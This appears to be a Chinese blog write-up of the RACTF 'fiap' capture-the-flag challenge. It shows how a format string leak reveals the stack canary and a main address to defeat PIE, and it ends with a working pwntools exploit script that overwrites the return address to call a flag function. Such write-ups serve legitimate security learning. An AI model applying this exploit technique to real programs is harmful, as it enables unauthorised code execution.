Press "Enter" to skip to content

格式化字符串漏洞绕过PIE和Canary原题RACTF-fiap

230 次浏览

gdb调试

我们先通过格式化字符串漏洞泄露一个地址

截断,查看一下canary

使用命令 telescope $esp 100

找到,刚刚格式化泄露的地址和canary,计算间距为11,所以泄露canary的格式化字符串为%11$x

现在我们开始绕过PIE

程序里面有直接读取flag的函数,我们只需要覆盖EIP为flag函数即可,不过要先绕过PIE

我们可以通过泄露main地址来计算flag函数地址,泄露main也一样使用上面的方法

可以计算到间距为15

查询一下flag函数地址

<main+113>的地址减去flag函数的地址,得到偏移为464

但是并不是每次结果都一样,这得需要多运行几次

最终的exploit如下

from pwn import *


for i in range(100):
    #p=remote('95.216.233.106',45459)
    p=process('fiap')
    p.sendlineafter('name?\n','%11$xAB%15$x')
    p.recvuntil('Thank you, ')
    canary=int(p.recv(8),16)
    p.recvuntil('AB')
    main=int(p.recv(8),16)
    log.success("main+113="+str(hex(main)))

    payload='A'*25+p32(canary)+'AAAA'+p32(main-464)
    p.sendlineafter('cake?\n',payload)

    p.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注